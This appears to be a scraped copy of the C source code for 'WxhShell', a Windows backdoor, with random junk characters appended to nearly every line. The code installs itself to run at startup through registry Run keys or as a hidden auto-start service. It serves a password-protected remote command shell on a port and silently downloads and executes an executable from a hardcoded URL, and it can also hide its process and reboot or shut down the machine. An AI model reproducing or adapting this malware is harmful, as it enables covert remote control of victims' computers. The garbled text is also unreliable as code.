} PROCESS_BASIC_INFORMATION; X04JQLhy"
z`@|v~i0`
PROCNTQSIP NtQueryInformationProcess; mvW,nM1Y
:'gX//b):
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jTz~
V&^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xCiq;FFR
20RI S j
HANDLE hProcess; v+`gQXJ"G
PROCESS_BASIC_INFORMATION pbi; +,ZQ(
ZW
sZPA(N?
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [,ns/*f3R
if(NULL == hInst ) return 0; eN]9=Y~-K
f>_' ]eM%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p# (5
;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4] I7t
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V> @+&q
KdtQJ:_`k
if (!NtQueryInformationProcess) return 0; ;bt%TxuKb
(E?X@d iu
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +/~;y{G..z
if(!hProcess) return 0; niJtgK:H^
9TbRrS09
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'e06QMp@
s8 0$
CloseHandle(hProcess); p!3!&{
>hmBV7nR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .+ g8zbD4
if(hProcess==NULL) return 0; DF!*S{)
w0L+Sj db
HMODULE hMod; $4a;R I
char procName[255]; u3ns-e
unsigned long cbNeeded; f+Ht
R<n'v.~"A
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kls
6Dk#
tjTnFP/=
CloseHandle(hProcess); ^9*kZV<K
y)e8pPDG
if(strstr(procName,"services")) return 1; // 以服务启动 Zw<\^1
of k@.TmO
return 0; // 注册表启动 {
vOr'j@
} iy\ 6e k1
9d_
Zdc
// 主模块 (Ld,<!eN0
int StartWxhshell(LPSTR lpCmdLine) 8\/$cP"<^
{ V*1hoC#
SOCKET wsl; . +
BOOL val=TRUE; )UgLs|G~
int port=0; !m<v@SmL\
struct sockaddr_in door; C=>IJ'G
*kE<7
if(wscfg.ws_autoins) Install(); yhSbX4Q
\&Zp/;n
port=atoi(lpCmdLine); 2=/,9ka~
T>2_ r6;
if(port<=0) port=wscfg.ws_port; \x9.[?;=e
3q*p#l~
WSADATA data; _^ny(zy(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nWz7$O
l" P3lKS
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .ZK^kcyA
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9`X}G`
door.sin_family = AF_INET; he\ pW5p
door.sin_addr.s_addr = inet_addr("127.0.0.1"); AkE(I16Uy~
door.sin_port = htons(port); &;wNJ)Uc
'NYW`,
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $WS?/H0C
closesocket(wsl); J':x]_;
return 1; &kp`1kv":
} t#BQB<GI
me@xl}
if(listen(wsl,2) == INVALID_SOCKET) { ,z0~VS:g 8
closesocket(wsl); gql^Inx<
return 1; &=S<StH
} sRkPXzK
Wxhshell(wsl); ;xxu ,
WSACleanup(); b[s=FH]#N
:.bBV]6q
return 0; RR9G$}WS(
= Y`e?\#`
} I92orr1
VSLi{=#
// 以NT服务方式启动 MlH0
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RoYwZX~
{ *1c1XN<7
DWORD status = 0; $WICyI{$
DWORD specificError = 0xfffffff; :F`-<x/
*1`q
x+1
serviceStatus.dwServiceType = SERVICE_WIN32; Bb9/nsbE
serviceStatus.dwCurrentState = SERVICE_START_PENDING; w)7 s]Ld
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZXH{9hxd
serviceStatus.dwWin32ExitCode = 0; 1}ER+;If
serviceStatus.dwServiceSpecificExitCode = 0; `),ACkU>U
serviceStatus.dwCheckPoint = 0; >1S39n5z.
serviceStatus.dwWaitHint = 0; E@[ZwTnJ
o/4U`U)Q0v
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %k i^XB86
if (hServiceStatusHandle==0) return; ]Mb:zs<r
![Ll$Lr
status = GetLastError(); Gk-49|qIV
if (status!=NO_ERROR) q>f|1Pf
{ b;jr;I
serviceStatus.dwCurrentState = SERVICE_STOPPED; w
tSX(LNY
serviceStatus.dwCheckPoint = 0; }=$>w@mJ
serviceStatus.dwWaitHint = 0; Q nmv?YXS
serviceStatus.dwWin32ExitCode = status; '1vm]+oM
serviceStatus.dwServiceSpecificExitCode = specificError; /Xf_b.ZM&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cc&SHG*R
return; hmp!|Q[)
} 7&w$@zs87
\w@V7~vA
serviceStatus.dwCurrentState = SERVICE_RUNNING; JDP /vNq
serviceStatus.dwCheckPoint = 0; Vqp3'=No
serviceStatus.dwWaitHint = 0; _;'<}a
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KvY1bMU!
} Q/]t$
Lpv,6#m`)
// 处理NT服务事件,比如:启动、停止 hOj(*7__
VOID WINAPI NTServiceHandler(DWORD fdwControl) RH~I/4e
{ "|nh=!L
switch(fdwControl) 9^g?/8
{ we&D"V
case SERVICE_CONTROL_STOP:
1
.Nfl@]
serviceStatus.dwWin32ExitCode = 0; * _@t$W
serviceStatus.dwCurrentState = SERVICE_STOPPED; m<I>NYfE
serviceStatus.dwCheckPoint = 0; H$rNT/C
serviceStatus.dwWaitHint = 0; Lhmb=
@
{ Jk}Dj0o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }s@vN8C
} AQjf\i
return; s`I]>e
case SERVICE_CONTROL_PAUSE: ICD;a
serviceStatus.dwCurrentState = SERVICE_PAUSED; ZW%;"5uVm)
break; }NY! z^
case SERVICE_CONTROL_CONTINUE:
L]wk Ba
serviceStatus.dwCurrentState = SERVICE_RUNNING;
|Sr
break; )R6-]TkA_
case SERVICE_CONTROL_INTERROGATE: Wxa</n8S[n
break; NudY9~
}; cP^c}e*;NS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C Xh>'K
} RC~ C}
M,dp;
// 标准应用程序主函数 :0'vz M
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (w1$m8`=
{ B\\M%!a>
n+D93d9LP
// 获取操作系统版本 COH9E\ZGF
OsIsNt=GetOsVer(); a[ yyEgm2
GetModuleFileName(NULL,ExeFile,MAX_PATH); Mz: "p.
V6kJoSyde
// 从命令行安装 ]N{jF$
if(strpbrk(lpCmdLine,"iI")) Install(); &Ivf!Bgm{Z
->)0jZax
// 下载执行文件 pcNpr`
if(wscfg.ws_downexe) { Bmv5yc+;
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }ws(:I^
WinExec(wscfg.ws_filenam,SW_HIDE); 8fA8@O}
} F4$9r^21r
6vf<lmN
if(!OsIsNt) { AHet,N
// 如果时win9x,隐藏进程并且设置为注册表启动 qo7jrY5G
HideProc(); `{H!V~42
StartWxhshell(lpCmdLine); 7Cx-yv
} p%-;hL!
else o#hFK'&~
if(StartFromService()) 2#X>^LH
// 以服务方式启动 ;N^4R$Q.
StartServiceCtrlDispatcher(DispatchTable); 1pM>-"a8j
else V|)nUsU
// 普通方式启动 >6gduD!6I
StartWxhshell(lpCmdLine); ONMR2J(
8=-#LVo~c
return 0; (p(-E
} :'Tq5kE
0}9
)j}v3@EM5
R'$1,ie
=========================================== $|VD+[jSV
p4@0Dz`Q
o,!W,sx_
`=E4J2"
Sr+ &
ntn ~=oL
" ~|&To>
#YK=e&da
#include <stdio.h> $d
Nmq
#include <string.h> B~`:?f9ny5
#include <windows.h> BHR(B]EI
#include <winsock2.h> .NMZHK?%
#include <winsvc.h> @6VkNe9
#include <urlmon.h> 6 -IThC
_uZVlu@
#pragma comment (lib, "Ws2_32.lib") RY]jY | E
#pragma comment (lib, "urlmon.lib") TE-(Zil\
(t"e#b(:
#define MAX_USER 100 // 最大客户端连接数 ZmS
]4WM<
#define BUF_SOCK 200 // sock buffer 9,$
n6t;
#define KEY_BUFF 255 // 输入 buffer KP CZiu7
!=]cASPGD
#define REBOOT 0 // 重启 9G)fJr[c
#define SHUTDOWN 1 // 关机 +K48c,gt?
e|4U2\&3y
#define DEF_PORT 5000 // 监听端口 aPHNX)
UxvT|~"
#define REG_LEN 16 // 注册表键长度 xd!GRJ<I
#define SVC_LEN 80 // NT服务名长度 K%YR; )5A
&,'CHBM
// 从dll定义API .F@ 2C
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 35Fs/Gf-n
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v4r%'bA
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i)@H
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r^`~GG!,Q
/e7BW0$1
// wxhshell配置信息 ' [%?j?2r
struct WSCFG { ?{r -z3@ N
int ws_port; // 监听端口 4]no#lVRJ
char ws_passstr[REG_LEN]; // 口令 +krDmU9(
int ws_autoins; // 安装标记, 1=yes 0=no ~X,ZZ 9H
char ws_regname[REG_LEN]; // 注册表键名 A5,(P$@k
char ws_svcname[REG_LEN]; // 服务名 tw&biLM5T
char ws_svcdisp[SVC_LEN]; // 服务显示名 gqDSHFm:
char ws_svcdesc[SVC_LEN]; // 服务描述信息 K*N8Vpz(
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '19kP.
int ws_downexe; // 下载执行标记, 1=yes 0=no oI x!?,1
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .<Jq8J
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `}#n#C)
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}; Nh+XlgXG
V(F1i%9l g
// default Wxhshell configuration E]ZIm
struct WSCFG wscfg={DEF_PORT, 1
Lz
"xuhuanlingzhe", z*`nfTw l
1, _nec6=S6(
"Wxhshell", Go PK. E$
"Wxhshell", ]
jycg@=B
"WxhShell Service", %[fZ@!B
"Wrsky Windows CmdShell Service", 0|FQIhVuY
"Please Input Your Password: ", +uMK_ds~
1, 6QNO#!;
"http://www.wrsky.com/wxhshell.exe", nOK1Wc%/'
"Wxhshell.exe" >7 qZ\#
}; $#FA/+<&$
a@N
1"O
// 消息定义模块 [[KIuW~ot
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2Y%E.){
char *msg_ws_prompt="\n\r? for help\n\r#>"; +6f[<^K#
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?]0bR]}y
char *msg_ws_ext="\n\rExit."; L%I8no-Q
char *msg_ws_end="\n\rQuit."; iH)-8Q
char *msg_ws_boot="\n\rReboot..."; p~dj-w
char *msg_ws_poff="\n\rShutdown..."; z`Xc] cPi
char *msg_ws_down="\n\rSave to "; cT#R B7
!Z%pdqo`.
char *msg_ws_err="\n\rErr!"; VevDW }4q*
char *msg_ws_ok="\n\rOK!"; c)zwyBz
E 7"`D\*
char ExeFile[MAX_PATH];
!}L
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int nUser = 0; JmbWEX|
HANDLE handles[MAX_USER]; 90!67Ap`x
int OsIsNt; B{ cb'\C
xU'% 6/G
SERVICE_STATUS serviceStatus; DTCOhUIV
SERVICE_STATUS_HANDLE hServiceStatusHandle; k4YW;6<C+
vp`s< ;CA
// 函数声明 8Oo16LPD
int Install(void); D@yu2}F{IY
int Uninstall(void); }RZN3U=
int DownloadFile(char *sURL, SOCKET wsh); &U
yQ<O>
int Boot(int flag); -Ps kUl'
void HideProc(void);
~ P!%i9e_
int GetOsVer(void); }N
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int Wxhshell(SOCKET wsl); 1D)=q^\I
void TalkWithClient(void *cs); '~[JV>5
int CmdShell(SOCKET sock); p-B
|Gr|
int StartFromService(void); cGS7s 8U
int StartWxhshell(LPSTR lpCmdLine);
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)J/so)
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4_h?E:sBb
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zl@hg<n
'%[r 9w
// 数据结构和表定义 3zo:)N \K
SERVICE_TABLE_ENTRY DispatchTable[] = 5U<;6s
{ wU/BRz8I
{wscfg.ws_svcname, NTServiceMain}, td(4Fw||1y
{NULL, NULL} #\gx.2W7
}; dR
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// 自我安装 $;B0x
int Install(void) f}VIkx]X"
{ ,2lH*=m;
char svExeFile[MAX_PATH]; )H-y
HKEY key; x^/453Lk
strcpy(svExeFile,ExeFile); aui3Mq#f
h"On9
// 如果是win9x系统,修改注册表设为自启动 OQh4MN#$
if(!OsIsNt) { poVtg}n
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4>t=r\"4
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [M&.'X
RegCloseKey(key); eTZ2f
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "i~~Q'=7
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i|QL6e*0
RegCloseKey(key); z;6,,
return 0; 6:qh%ZR
} :x36Z4:
} 7q'T,'[
} Qs;MEt 1
else { \Ea(f**2B
[.c'22R6
// 如果是NT以上系统,安装为系统服务 {qL}:ha?
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8&UwnEk<
if (schSCManager!=0) !Yu|au
{ |oV_7%mlu
SC_HANDLE schService = CreateService y rmi:=N(
( wvlM(
schSCManager, o1)8?h
wscfg.ws_svcname, ;'4HR+E"
wscfg.ws_svcdisp, C!6d`|
SERVICE_ALL_ACCESS, :V^|}C#
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tW}At
SERVICE_AUTO_START, QT7PCHP
SERVICE_ERROR_NORMAL, ioJr2wq6
svExeFile, fE,Io3
NULL, (?lKedA>2
NULL, <^fvTb &*
NULL, <-F[q'!C1
NULL, R/?ZbMn]!
NULL jRNDi_u?Wb
); \2VYDBi?|
if (schService!=0) (I\qTfN4
{ pW1(1M)[%Z
CloseServiceHandle(schService); )T!3du:M
CloseServiceHandle(schSCManager); ^{l$>e]
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vbSycZ2M7
strcat(svExeFile,wscfg.ws_svcname); !nt[J$.z^
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5Za%EaW%G
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,@0D_&JAl
RegCloseKey(key); <_~e/+_.
return 0; a/dq+
} l-<EG9m@
} $#/f+kble
CloseServiceHandle(schSCManager); -8m3L
} XWv;l)
} _FtsO<p)"
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return 1; v]X*(e
} ]1&}L^a
pgEDh^[MW
// 自我卸载 oxXCf%!
int Uninstall(void) 8=,-r`oNy
{ rWNywxnT
HKEY key; xj;V
f_'8l2jK1i
if(!OsIsNt) { LZ<^b6Dxk
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /a?qtRw
RegDeleteValue(key,wscfg.ws_regname); ]..7t|^b&
RegCloseKey(key); ndS8p]P&o(
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %3@-.=
RegDeleteValue(key,wscfg.ws_regname); Aqo90(jffx
RegCloseKey(key); lGpci
return 0; 6o<(,\ad[
} p,7,
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} w:07_`cH=
} C@{-$z)
else { =Hx]K8N )
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SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QJ2D C
if (schSCManager!=0) e\r%"~v
{ do:IkjU~
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )W*A[c
2
if (schService!=0) h&2l0|8k
{ Cf>(,rt};
if(DeleteService(schService)!=0) { Eo>EK>
CloseServiceHandle(schService); +aOQ'*g
CloseServiceHandle(schSCManager); K/M2L&C
return 0; Dvm[W),(k
} AK(x;4
CloseServiceHandle(schService); .I.B,wH8
} nM|F
MK^
CloseServiceHandle(schSCManager); "{[\VsX|c
} iTVZo?lVo
} w|c200Is}e
g
cb6*@u!
return 1; X}H?*'-
} n
j2=}6
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// 从指定url下载文件 m UUNR,
int DownloadFile(char *sURL, SOCKET wsh) E8BIb 'b;
{ \P7<q,OGS
HRESULT hr; .FG%QF F~
char seps[]= "/";
wSi$.C2
char *token; SG]Sx4fg,Y
char *file; QD%!a{I
char myURL[MAX_PATH]; Kr;;aT0P
char myFILE[MAX_PATH]; IKV!0-={!z
V!/9GeIF
strcpy(myURL,sURL); Xw3j(`w$,
token=strtok(myURL,seps); 9BAvE\o0
while(token!=NULL) N&